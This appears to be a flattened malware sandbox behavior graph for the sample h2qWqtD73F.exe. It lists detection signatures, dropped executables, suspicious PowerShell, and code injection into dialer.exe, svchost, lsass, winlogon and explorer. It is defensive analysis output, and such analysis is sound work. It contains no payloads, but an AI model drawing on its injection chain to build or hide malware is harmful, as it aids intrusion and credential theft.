behaviorgraph top1 signatures2 2 Behavior Graph ID: 1528505 Sample: h2qWqtD73F.exe Startdate: 08/10/2024 Architecture: WINDOWS Score: 100 62 Malicious sample detected (through community Yara rule) 2->62 64 Antivirus detection for dropped file 2->64 66 Antivirus / Scanner detection for submitted sample 2->66 68 14 other signatures 2->68 10 h2qWqtD73F.exe 4 2->10         started        14 powershell.exe 37 2->14         started        16 powershell.exe 23 2->16         started        18 2 other processes 2->18 process3 file4 56 C:\Users\user\AppData\Roaming\...\updater.exe, PE32+ 10->56 dropped 58 C:\Users\user\AppData\...\piukhnngkvtj.tmp, PE32+ 10->58 dropped 86 Suspicious powershell command line found 10->86 88 Writes to foreign memory regions 10->88 90 Modifies the context of a thread in another process (thread injection) 10->90 94 4 other signatures 10->94 20 dialer.exe 1 10->20         started        92 Loading BitLocker PowerShell Module 14->92 23 conhost.exe 14->23         started        25 conhost.exe 16->25         started        27 conhost.exe 18->27         started        29 conhost.exe 18->29         started        signatures5 process6 signatures7 70 Contains functionality to inject code into remote processes 20->70 72 Writes to foreign memory regions 20->72 74 Allocates memory in foreign processes 20->74 76 3 other signatures 20->76 31 svchost.exe 20->31 injected 33 lsass.exe 6 20->33 injected 36 winlogon.exe 20->36 injected 38 10 other processes 20->38 process8 signatures9 40 updater.exe 5 31->40         started        60 Writes to foreign memory regions 33->60 43 svchost.exe 33->43 injected process10 signatures11 78 Antivirus detection for dropped file 40->78 80 Multi AV Scanner detection for dropped file 40->80 82 Detected unpacking (creates a PE file in dynamic memory) 40->82 84 11 other signatures 40->84 45 dialer.exe 40->45         started        process12 signatures13 96 Injects code into the Windows Explorer (explorer.exe) 45->96 98 Writes to foreign memory regions 45->98 100 Allocates memory in foreign processes 45->100 102 2 other signatures 45->102 48 svchost.exe 45->48 injected 50 svchost.exe 45->50 injected 52 svchost.exe 45->52 injected 54 15 other processes 45->54 process14
⊘No contacted IP infos

Contacted Domains

Name IP Active
bg.microsoft.map.fastly.net 199.232.214.172 true